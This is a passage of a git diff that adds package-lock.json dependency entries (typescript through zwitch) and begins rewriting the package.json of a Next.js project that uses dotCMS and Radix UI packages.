+ "integrity": "sha512-1HTsf5/QVRmLzcGfldPFvkVsAdi1db1BBKzi7iW3KBUlOICg/nKnFS+jGqDJS3YD8VsWbAh7JiHeBvbsw8RPxA==",
+ "license": "MIT",
+ "dependencies": {
+ "ts-toolbelt": "^9.6.0"
+ }
+ },
+ "node_modules/typescript": {
+ "version": "5.7.2",
+ "resolved": "https://registry.npmjs.org/typescript/-/typescript-5.7.2.tgz",
+ "integrity": "sha512-i5t66RHxDvVN40HfDd1PsEThGNnlMCMT3jMUuoh9/0TaqWevNontacunWyN02LA9/fIbEWlcHZcgTKb9QoaLfg==",
+ "peer": true,
+ "bin": {
+ "tsc": "bin/tsc",
+ "tsserver": "bin/tsserver"
+ },
+ "engines": {
+ "node": ">=14.17"
+ }
+ },
+ "node_modules/unbox-primitive": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/unbox-primitive/-/unbox-primitive-1.0.2.tgz",
+ "integrity": "sha512-61pPlCD9h51VoreyJ0BReideM3MDKMKnh6+V9L08331ipq6Q8OFXZYiqP6n/tbHx4s5I9uRhcye6BrbkizkBDw==",
+ "dependencies": {
+ "call-bind": "^1.0.2",
+ "has-bigints": "^1.0.2",
+ "has-symbols": "^1.0.3",
+ "which-boxed-primitive": "^1.0.2"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/undici-types": {
+ "version": "6.19.8",
+ "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.19.8.tgz",
+ "integrity": "sha512-ve2KP6f/JnbPBFyobGHuerC9g1FYGn/F8n1LWTwNxCEzd6IfqTwUQcNXgEtmmQ6DlRrC1hrSrBnCZPokRrDHjw=="
+ },
+ "node_modules/unified": {
+ "version": "11.0.5",
+ "resolved": "https://registry.npmjs.org/unified/-/unified-11.0.5.tgz",
+ "integrity": "sha512-xKvGhPWw3k84Qjh8bI3ZeJjqnyadK+GEFtazSfZv/rKeTkTjOJho6mFqh2SM96iIcZokxiOpg78GazTSg8+KHA==",
+ "license": "MIT",
+ "dependencies": {
+ "@types/unist": "^3.0.0",
+ "bail": "^2.0.0",
+ "devlop": "^1.0.0",
+ "extend": "^3.0.0",
+ "is-plain-obj": "^4.0.0",
+ "trough": "^2.0.0",
+ "vfile": "^6.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/unist-util-is": {
+ "version": "6.0.0",
+ "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-6.0.0.tgz",
+ "integrity": "sha512-2qCTHimwdxLfz+YzdGfkqNlH0tLi9xjTnHddPmJwtIG9MGsdbutfTc4P+haPD7l7Cjxf/WZj+we5qfVPvvxfYw==",
+ "dependencies": {
+ "@types/unist": "^3.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/unist-util-position": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/unist-util-position/-/unist-util-position-5.0.0.tgz",
+ "integrity": "sha512-fucsC7HjXvkB5R3kTCO7kUjRdrS0BJt3M/FPxmHMBOm8JQi2BsHAHFsy27E0EolP8rp0NzXsJ+jNPyDWvOJZPA==",
+ "dependencies": {
+ "@types/unist": "^3.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/unist-util-position-from-estree": {
+ "version": "2.0.0",
+ "resolved": "https://registry.npmjs.org/unist-util-position-from-estree/-/unist-util-position-from-estree-2.0.0.tgz",
+ "integrity": "sha512-KaFVRjoqLyF6YXCbVLNad/eS4+OfPQQn2yOd7zF/h5T/CSL2v8NpN6a5TPvtbXthAGw5nG+PuTtq+DdIZr+cRQ==",
+ "dependencies": {
+ "@types/unist": "^3.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/unist-util-stringify-position": {
+ "version": "4.0.0",
+ "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-4.0.0.tgz",
+ "integrity": "sha512-0ASV06AAoKCDkS2+xw5RXJywruurpbC4JZSm7nr7MOt1ojAzvyyaO+UxZf18j8FCF6kmzCZKcAgN/yu2gm2XgQ==",
+ "dependencies": {
+ "@types/unist": "^3.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/unist-util-visit": {
+ "version": "5.0.0",
+ "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-5.0.0.tgz",
+ "integrity": "sha512-MR04uvD+07cwl/yhVuVWAtw+3GOR/knlL55Nd/wAdblk27GCVt3lqpTivy/tkJcZoNPzTwS1Y+KMojlLDhoTzg==",
+ "dependencies": {
+ "@types/unist": "^3.0.0",
+ "unist-util-is": "^6.0.0",
+ "unist-util-visit-parents": "^6.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/unist-util-visit-parents": {
+ "version": "6.0.1",
+ "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-6.0.1.tgz",
+ "integrity": "sha512-L/PqWzfTP9lzzEa6CKs0k2nARxTdZduw3zyh8d2NVBnsyvHjSX4TWse388YrrQKbvI8w20fGjGlhgT96WwKykw==",
+ "dependencies": {
+ "@types/unist": "^3.0.0",
+ "unist-util-is": "^6.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/unraw": {
+ "version": "3.0.0",
+ "resolved": "https://registry.npmjs.org/unraw/-/unraw-3.0.0.tgz",
+ "integrity": "sha512-08/DA66UF65OlpUDIQtbJyrqTR0jTAlJ+jsnkQ4jxR7+K5g5YG1APZKQSMCE1vqqmD+2pv6+IdEjmopFatacvg==",
+ "license": "MIT"
+ },
+ "node_modules/update-browserslist-db": {
+ "version": "1.1.1",
+ "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.1.1.tgz",
+ "integrity": "sha512-R8UzCaa9Az+38REPiJ1tXlImTJXlVfgHZsglwBD/k6nj76ctsH1E3q4doGrukiLQd3sGQYu56r5+lo5r94l29A==",
+ "funding": [
+ {
+ "type": "opencollective",
+ "url": "https://opencollective.com/browserslist"
+ },
+ {
+ "type": "tidelift",
+ "url": "https://tidelift.com/funding/github/npm/browserslist"
+ },
+ {
+ "type": "github",
+ "url": "https://github.com/sponsors/ai"
+ }
+ ],
+ "dependencies": {
+ "escalade": "^3.2.0",
+ "picocolors": "^1.1.0"
+ },
+ "bin": {
+ "update-browserslist-db": "cli.js"
+ },
+ "peerDependencies": {
+ "browserslist": ">= 4.21.0"
+ }
+ },
+ "node_modules/uri-js": {
+ "version": "4.4.1",
+ "resolved": "https://registry.npmjs.org/uri-js/-/uri-js-4.4.1.tgz",
+ "integrity": "sha512-7rKUyy33Q1yc98pQ1DAmLtwX109F7TIfWlW1Ydo8Wl1ii1SeHieeh0HHfPeL2fMXK6z0s8ecKs9frCuLJvndBg==",
+ "dependencies": {
+ "punycode": "^2.1.0"
+ }
+ },
+ "node_modules/url-parse": {
+ "version": "1.5.10",
+ "resolved": "https://registry.npmjs.org/url-parse/-/url-parse-1.5.10.tgz",
+ "integrity": "sha512-WypcfiRhfeUP9vvF0j6rw0J3hrWrw6iZv3+22h6iRMJ/8z1Tj6XfLP4DsUix5MhMPnXpiHDoKyoZ/bdCkwBCiQ==",
+ "license": "MIT",
+ "dependencies": {
+ "querystringify": "^2.1.1",
+ "requires-port": "^1.0.0"
+ }
+ },
+ "node_modules/use-callback-ref": {
+ "version": "1.3.2",
+ "resolved": "https://registry.npmjs.org/use-callback-ref/-/use-callback-ref-1.3.2.tgz",
+ "integrity": "sha512-elOQwe6Q8gqZgDA8mrh44qRTQqpIHDcZ3hXTLjBe1i4ph8XpNJnO+aQf3NaG+lriLopI4HMx9VjQLfPQ6vhnoA==",
+ "dependencies": {
+ "tslib": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "peerDependencies": {
+ "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0",
+ "react": "^16.8.0 || ^17.0.0 || ^18.0.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/use-sidecar": {
+ "version": "1.1.2",
+ "resolved": "https://registry.npmjs.org/use-sidecar/-/use-sidecar-1.1.2.tgz",
+ "integrity": "sha512-epTbsLuzZ7lPClpz2TyryBfztm7m+28DlEv2ZCQ3MDr5ssiwyOwGH/e5F9CkfWjJ1t4clvI58yF822/GUkjjhw==",
+ "dependencies": {
+ "detect-node-es": "^1.1.0",
+ "tslib": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "peerDependencies": {
+ "@types/react": "^16.9.0 || ^17.0.0 || ^18.0.0",
+ "react": "^16.8.0 || ^17.0.0 || ^18.0.0"
+ },
+ "peerDependenciesMeta": {
+ "@types/react": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/use-sync-external-store": {
+ "version": "1.4.0",
+ "resolved": "https://registry.npmjs.org/use-sync-external-store/-/use-sync-external-store-1.4.0.tgz",
+ "integrity": "sha512-9WXSPC5fMv61vaupRkCKCxsPxBocVnwakBEkMIHHpkTTg6icbJtg6jzgtLDm4bl3cSHAca52rYWih0k4K3PfHw==",
+ "peerDependencies": {
+ "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0"
+ }
+ },
+ "node_modules/util-deprecate": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz",
+ "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw=="
+ },
+ "node_modules/vaul": {
+ "version": "0.9.9",
+ "resolved": "https://registry.npmjs.org/vaul/-/vaul-0.9.9.tgz",
+ "integrity": "sha512-7afKg48srluhZwIkaU+lgGtFCUsYBSGOl8vcc8N/M3YQlZFlynHD15AE+pwrYdc826o7nrIND4lL9Y6b9WWZZQ==",
+ "dependencies": {
+ "@radix-ui/react-dialog": "^1.1.1"
+ },
+ "peerDependencies": {
+ "react": "^16.8 || ^17.0 || ^18.0",
+ "react-dom": "^16.8 || ^17.0 || ^18.0"
+ }
+ },
+ "node_modules/vfile": {
+ "version": "6.0.3",
+ "resolved": "https://registry.npmjs.org/vfile/-/vfile-6.0.3.tgz",
+ "integrity": "sha512-KzIbH/9tXat2u30jf+smMwFCsno4wHVdNmzFyL+T/L3UGqqk6JKfVqOFOZEpZSHADH1k40ab6NUIXZq422ov3Q==",
+ "dependencies": {
+ "@types/unist": "^3.0.0",
+ "vfile-message": "^4.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/vfile-location": {
+ "version": "5.0.3",
+ "resolved": "https://registry.npmjs.org/vfile-location/-/vfile-location-5.0.3.tgz",
+ "integrity": "sha512-5yXvWDEgqeiYiBe1lbxYF7UMAIm/IcopxMHrMQDq3nvKcjPKIhZklUKL+AE7J7uApI4kwe2snsK+eI6UTj9EHg==",
+ "dependencies": {
+ "@types/unist": "^3.0.0",
+ "vfile": "^6.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/vfile-message": {
+ "version": "4.0.2",
+ "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-4.0.2.tgz",
+ "integrity": "sha512-jRDZ1IMLttGj41KcZvlrYAaI3CfqpLpfpf+Mfig13viT6NKvRzWZ+lXz0Y5D60w6uJIBAOGq9mSHf0gktF0duw==",
+ "dependencies": {
+ "@types/unist": "^3.0.0",
+ "unist-util-stringify-position": "^4.0.0"
+ },
+ "funding": {
+ "type": "opencollective",
+ "url": "https://opencollective.com/unified"
+ }
+ },
+ "node_modules/victory-vendor": {
+ "version": "36.9.2",
+ "resolved": "https://registry.npmjs.org/victory-vendor/-/victory-vendor-36.9.2.tgz",
+ "integrity": "sha512-PnpQQMuxlwYdocC8fIJqVXvkeViHYzotI+NJrCuav0ZYFoq912ZHBk3mCeuj+5/VpodOjPe1z0Fk2ihgzlXqjQ==",
+ "dependencies": {
+ "@types/d3-array": "^3.0.3",
+ "@types/d3-ease": "^3.0.0",
+ "@types/d3-interpolate": "^3.0.1",
+ "@types/d3-scale": "^4.0.2",
+ "@types/d3-shape": "^3.1.0",
+ "@types/d3-time": "^3.0.0",
+ "@types/d3-timer": "^3.0.0",
+ "d3-array": "^3.1.6",
+ "d3-ease": "^3.0.1",
+ "d3-interpolate": "^3.0.1",
+ "d3-scale": "^4.0.2",
+ "d3-shape": "^3.1.0",
+ "d3-time": "^3.0.0",
+ "d3-timer": "^3.0.1"
+ }
+ },
+ "node_modules/web-namespaces": {
+ "version": "2.0.1",
+ "resolved": "https://registry.npmjs.org/web-namespaces/-/web-namespaces-2.0.1.tgz",
+ "integrity": "sha512-bKr1DkiNa2krS7qxNtdrtHAmzuYGFQLiQ13TsorsdT6ULTkPLKuu5+GsFpDlg6JFjUTwX2DyhMPG2be8uPrqsQ==",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ },
+ "node_modules/web-streams-polyfill": {
+ "version": "3.3.3",
+ "resolved": "https://registry.npmjs.org/web-streams-polyfill/-/web-streams-polyfill-3.3.3.tgz",
+ "integrity": "sha512-d2JWLCivmZYTSIoge9MsgFCZrt571BikcWGYkjC1khllbTeDlGqZ2D8vD8E/lJa8WGWbb7Plm8/XJYV7IJHZZw==",
+ "license": "MIT",
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/web-tree-sitter": {
+ "version": "0.24.5",
+ "resolved": "https://registry.npmjs.org/web-tree-sitter/-/web-tree-sitter-0.24.5.tgz",
+ "integrity": "sha512-+J/2VSHN8J47gQUAvF8KDadrfz6uFYVjxoxbKWDoXVsH2u7yLdarCnIURnrMA6uSRkgX3SdmqM5BOoQjPdSh5w==",
+ "license": "MIT",
+ "optional": true
+ },
+ "node_modules/which": {
+ "version": "2.0.2",
+ "resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
+ "integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
+ "dependencies": {
+ "isexe": "^2.0.0"
+ },
+ "bin": {
+ "node-which": "bin/node-which"
+ },
+ "engines": {
+ "node": ">= 8"
+ }
+ },
+ "node_modules/which-boxed-primitive": {
+ "version": "1.1.0",
+ "resolved": "https://registry.npmjs.org/which-boxed-primitive/-/which-boxed-primitive-1.1.0.tgz",
+ "integrity": "sha512-Ei7Miu/AXe2JJ4iNF5j/UphAgRoma4trE6PtisM09bPygb3egMH3YLW/befsWb1A1AxvNSFidOFTB18XtnIIng==",
+ "dependencies": {
+ "is-bigint": "^1.1.0",
+ "is-boolean-object": "^1.2.0",
+ "is-number-object": "^1.1.0",
+ "is-string": "^1.1.0",
+ "is-symbol": "^1.1.0"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/which-builtin-type": {
+ "version": "1.2.1",
+ "resolved": "https://registry.npmjs.org/which-builtin-type/-/which-builtin-type-1.2.1.tgz",
+ "integrity": "sha512-6iBczoX+kDQ7a3+YJBnh3T+KZRxM/iYNPXicqk66/Qfm1b93iu+yOImkg0zHbj5LNOcNv1TEADiZ0xa34B4q6Q==",
+ "dependencies": {
+ "call-bound": "^1.0.2",
+ "function.prototype.name": "^1.1.6",
+ "has-tostringtag": "^1.0.2",
+ "is-async-function": "^2.0.0",
+ "is-date-object": "^1.1.0",
+ "is-finalizationregistry": "^1.1.0",
+ "is-generator-function": "^1.0.10",
+ "is-regex": "^1.2.1",
+ "is-weakref": "^1.0.2",
+ "isarray": "^2.0.5",
+ "which-boxed-primitive": "^1.1.0",
+ "which-collection": "^1.0.2",
+ "which-typed-array": "^1.1.16"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/which-collection": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/which-collection/-/which-collection-1.0.2.tgz",
+ "integrity": "sha512-K4jVyjnBdgvc86Y6BkaLZEN933SwYOuBFkdmBu9ZfkcAbdVbpITnDmjvZ/aQjRXQrv5EPkTnD1s39GiiqbngCw==",
+ "dependencies": {
+ "is-map": "^2.0.3",
+ "is-set": "^2.0.3",
+ "is-weakmap": "^2.0.2",
+ "is-weakset": "^2.0.3"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/which-typed-array": {
+ "version": "1.1.16",
+ "resolved": "https://registry.npmjs.org/which-typed-array/-/which-typed-array-1.1.16.tgz",
+ "integrity": "sha512-g+N+GAWiRj66DngFwHvISJd+ITsyphZvD1vChfVg6cEdnzy53GzB3oy0fUNlvhz7H7+MiqhYr26qxQShCpKTTQ==",
+ "dependencies": {
+ "available-typed-arrays": "^1.0.7",
+ "call-bind": "^1.0.7",
+ "for-each": "^0.3.3",
+ "gopd": "^1.0.1",
+ "has-tostringtag": "^1.0.2"
+ },
+ "engines": {
+ "node": ">= 0.4"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/ljharb"
+ }
+ },
+ "node_modules/window-size": {
+ "version": "0.1.4",
+ "resolved": "https://registry.npmjs.org/window-size/-/window-size-0.1.4.tgz",
+ "integrity": "sha512-2thx4pB0cV3h+Bw7QmMXcEbdmOzv9t0HFplJH/Lz6yu60hXYy5RT8rUu+wlIreVxWsGN20mo+MHeCSfUpQBwPw==",
+ "bin": {
+ "window-size": "cli.js"
+ },
+ "engines": {
+ "node": ">= 0.10.0"
+ }
+ },
+ "node_modules/word-wrap": {
+ "version": "1.2.5",
+ "resolved": "https://registry.npmjs.org/word-wrap/-/word-wrap-1.2.5.tgz",
+ "integrity": "sha512-BN22B5eaMMI9UMtjrGd5g5eCYPpCPDUy0FJXbYsaT5zYxjFOckS53SQDE3pWkVoWpHXVb3BrYcEN4Twa55B5cA==",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/wrap-ansi": {
+ "version": "8.1.0",
+ "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz",
+ "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==",
+ "dependencies": {
+ "ansi-styles": "^6.1.0",
+ "string-width": "^5.0.1",
+ "strip-ansi": "^7.0.1"
+ },
+ "engines": {
+ "node": ">=12"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
+ }
+ },
+ "node_modules/wrap-ansi-cjs": {
+ "name": "wrap-ansi",
+ "version": "7.0.0",
+ "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-7.0.0.tgz",
+ "integrity": "sha512-YVGIj2kamLSTxw6NsZjoBxfSwsn0ycdesmc4p+Q21c5zPuZ1pl+NfxVdxPtdHvmNVOQ6XSYG4AUtyt/Fi7D16Q==",
+ "dependencies": {
+ "ansi-styles": "^4.0.0",
+ "string-width": "^4.1.0",
+ "strip-ansi": "^6.0.0"
+ },
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
+ }
+ },
+ "node_modules/wrap-ansi-cjs/node_modules/emoji-regex": {
+ "version": "8.0.0",
+ "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-8.0.0.tgz",
+ "integrity": "sha512-MSjYzcWNOA0ewAHpz0MxpYFvwg6yjy1NG3xteoqz644VCo/RPgnr1/GGt+ic3iJTzQ8Eu3TdM14SawnVUmGE6A=="
+ },
+ "node_modules/wrap-ansi-cjs/node_modules/string-width": {
+ "version": "4.2.3",
+ "resolved": "https://registry.npmjs.org/string-width/-/string-width-4.2.3.tgz",
+ "integrity": "sha512-wKyQRQpjJ0sIp62ErSZdGsjMJWsap5oRNihHhu6G7JVO/9jIB6UyevL+tXuOqrng8j/cxKTWyWUwvSTriiZz/g==",
+ "dependencies": {
+ "emoji-regex": "^8.0.0",
+ "is-fullwidth-code-point": "^3.0.0",
+ "strip-ansi": "^6.0.1"
+ },
+ "engines": {
+ "node": ">=8"
+ }
+ },
+ "node_modules/wrap-ansi/node_modules/ansi-regex": {
+ "version": "6.1.0",
+ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.1.0.tgz",
+ "integrity": "sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==",
+ "engines": {
+ "node": ">=12"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/ansi-regex?sponsor=1"
+ }
+ },
+ "node_modules/wrap-ansi/node_modules/ansi-styles": {
+ "version": "6.2.1",
+ "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.1.tgz",
+ "integrity": "sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==",
+ "engines": {
+ "node": ">=12"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/ansi-styles?sponsor=1"
+ }
+ },
+ "node_modules/wrap-ansi/node_modules/strip-ansi": {
+ "version": "7.1.0",
+ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.0.tgz",
+ "integrity": "sha512-iq6eVVI64nQQTRYq2KtEg2d2uU7LElhTJwsH4YzIHZshxlgZms/wIc4VoDQTlG/IvVIrBKG06CrZnp0qv7hkcQ==",
+ "dependencies": {
+ "ansi-regex": "^6.0.1"
+ },
+ "engines": {
+ "node": ">=12"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/strip-ansi?sponsor=1"
+ }
+ },
+ "node_modules/wrappy": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz",
+ "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ=="
+ },
+ "node_modules/xml": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/xml/-/xml-1.0.1.tgz",
+ "integrity": "sha512-huCv9IH9Tcf95zuYCsQraZtWnJvBtLVE0QHMOs8bWyZAFZNDcYjsPq1nEx8jKA9y+Beo9v+7OBPRisQTjinQMw==",
+ "license": "MIT"
+ },
+ "node_modules/xml-but-prettier": {
+ "version": "1.0.1",
+ "resolved": "https://registry.npmjs.org/xml-but-prettier/-/xml-but-prettier-1.0.1.tgz",
+ "integrity": "sha512-C2CJaadHrZTqESlH03WOyw0oZTtoy2uEg6dSDF6YRg+9GnYNub53RRemLpnvtbHDFelxMx4LajiFsYeR6XJHgQ==",
+ "license": "MIT",
+ "dependencies": {
+ "repeat-string": "^1.5.2"
+ }
+ },
+ "node_modules/y18n": {
+ "version": "3.2.2",
+ "resolved": "https://registry.npmjs.org/y18n/-/y18n-3.2.2.tgz",
+ "integrity": "sha512-uGZHXkHnhF0XeeAPgnKfPv1bgKAYyVvmNL1xlKsPYZPaIHxGti2hHqvOCQv71XMsLxu1QjergkqogUnms5D3YQ=="
+ },
+ "node_modules/yaml": {
+ "version": "2.6.1",
+ "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.6.1.tgz",
+ "integrity": "sha512-7r0XPzioN/Q9kXBro/XPnA6kznR73DHq+GXh5ON7ZozRO6aMjbmiBuKste2wslTFkC5d1dw0GooOCepZXJ2SAg==",
+ "bin": {
+ "yaml": "bin.mjs"
+ },
+ "engines": {
+ "node": ">= 14"
+ }
+ },
+ "node_modules/yargs": {
+ "version": "3.31.0",
+ "resolved": "https://registry.npmjs.org/yargs/-/yargs-3.31.0.tgz",
+ "integrity": "sha512-TLuUCIe8M6YGNZhkEl6+zBxNrWBQDQZyvEC6PlDjcIgd8lJyXz7u8x/SnE146Dg3V25XF3hMcufAS5YMOYMccQ==",
+ "dependencies": {
+ "camelcase": "^2.0.1",
+ "cliui": "^3.0.3",
+ "decamelize": "^1.1.1",
+ "os-locale": "^1.4.0",
+ "string-width": "^1.0.1",
+ "window-size": "^0.1.4",
+ "y18n": "^3.2.0"
+ }
+ },
+ "node_modules/yargs/node_modules/ansi-regex": {
+ "version": "2.1.1",
+ "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz",
+ "integrity": "sha512-TIGnTpdo+E3+pCyAluZvtED5p5wCqLdezCyhPZzKPcxvFplEt4i+W7OONCKgeZFT3+y5NZZfOOS/Bdcanm1MYA==",
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/yargs/node_modules/is-fullwidth-code-point": {
+ "version": "1.0.0",
+ "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz",
+ "integrity": "sha512-1pqUqRjkhPJ9miNq9SwMfdvi6lBJcd6eFxvfaivQhaH3SgisfiuudvFntdKOmxuee/77l+FPjKrQjWvmPjWrRw==",
+ "dependencies": {
+ "number-is-nan": "^1.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/yargs/node_modules/string-width": {
+ "version": "1.0.2",
+ "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz",
+ "integrity": "sha512-0XsVpQLnVCXHJfyEs8tC0zpTVIr5PKKsQtkT29IwupnPTjtPmQ3xT/4yCREF9hYkV/3M3kzcUTSAZT6a6h81tw==",
+ "dependencies": {
+ "code-point-at": "^1.0.0",
+ "is-fullwidth-code-point": "^1.0.0",
+ "strip-ansi": "^3.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/yargs/node_modules/strip-ansi": {
+ "version": "3.0.1",
+ "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz",
+ "integrity": "sha512-VhumSSbBqDTP8p2ZLKj40UjBCV4+v8bUSEpUb4KjRgWk9pbqGF4REFj6KEagidb2f/M6AzC0EmFyDNGaw9OCzg==",
+ "dependencies": {
+ "ansi-regex": "^2.0.0"
+ },
+ "engines": {
+ "node": ">=0.10.0"
+ }
+ },
+ "node_modules/yocto-queue": {
+ "version": "0.1.0",
+ "resolved": "https://registry.npmjs.org/yocto-queue/-/yocto-queue-0.1.0.tgz",
+ "integrity": "sha512-rVksvsnNCdJ/ohGc6xgPwyN8eheCxsiLM8mxuE/t/mOVqJewPuO1miLpTHQiRgTKCLexL4MeAFVagts7HmNZ2Q==",
+ "engines": {
+ "node": ">=10"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/zenscroll": {
+ "version": "4.0.2",
+ "resolved": "https://registry.npmjs.org/zenscroll/-/zenscroll-4.0.2.tgz",
+ "integrity": "sha512-jEA1znR7b4C/NnaycInCU6h/d15ZzCd1jmsruqOKnZP6WXQSMH3W2GL+OXbkruslU4h+Tzuos0HdswzRUk/Vgg==",
+ "license": "Unlicense"
+ },
+ "node_modules/zod": {
+ "version": "3.24.1",
+ "resolved": "https://registry.npmjs.org/zod/-/zod-3.24.1.tgz",
+ "integrity": "sha512-muH7gBL9sI1nciMZV67X5fTKKBLtwpZ5VBp1vsOQzj1MhrBZ4wlVCm3gedKZWLp0Oyel8sIGfeiz54Su+OVT+A==",
+ "funding": {
+ "url": "https://github.com/sponsors/colinhacks"
+ }
+ },
+ "node_modules/zwitch": {
+ "version": "2.0.4",
+ "resolved": "https://registry.npmjs.org/zwitch/-/zwitch-2.0.4.tgz",
+ "integrity": "sha512-bXE4cR/kVZhKZX/RjPEflHaKVhUVl85noU3v6b8apfQEc1x4A+zBxjZ4lN8LqGd6WZ3dl98pY4o717VFmoPp+A==",
+ "funding": {
+ "type": "github",
+ "url": "https://github.com/sponsors/wooorm"
+ }
+ }
+ }
+}
diff --git a/package.json b/package.json
index eb2409d..15d9eec 100644
--- a/package.json
+++ b/package.json
@@ -1,103 +1,103 @@
-{
- "name": "nextjs",
- "version": "0.1.0",
- "private": true,
- "scripts": {
- "dev": "next dev",
- "build": "next build",
- "start": "next start",
- "lint": "next lint"
- },
- "dependencies": {
- "@dotcms/analytics": "1.1.1-next.6",
- "@dotcms/client": "^1.2.3",
- "@dotcms/react": "^1.2.3",
- "@dotcms/types": "^1.2.3",
- "@hookform/resolvers": "^3.9.0",
- "@mdx-js/mdx": "^3.1.0",
- "@microsoft/clarity": "^1.0.0",
- "@next/third-parties": "^15.1.7",
- "@radix-ui/react-accordion": "^1.2.0",
- "@radix-ui/react-alert-dialog": "^1.1.1",
- "@radix-ui/react-aspect-ratio": "^1.1.0",
- "@radix-ui/react-avatar": "^1.1.0",
- "@radix-ui/react-checkbox": "^1.1.1",
- "@radix-ui/react-collapsible": "^1.1.0",
- "@radix-ui/react-context-menu": "^2.2.1",
- "@radix-ui/react-dialog": "^1.1.1",
- "@radix-ui/react-dropdown-menu": "^2.1.1",
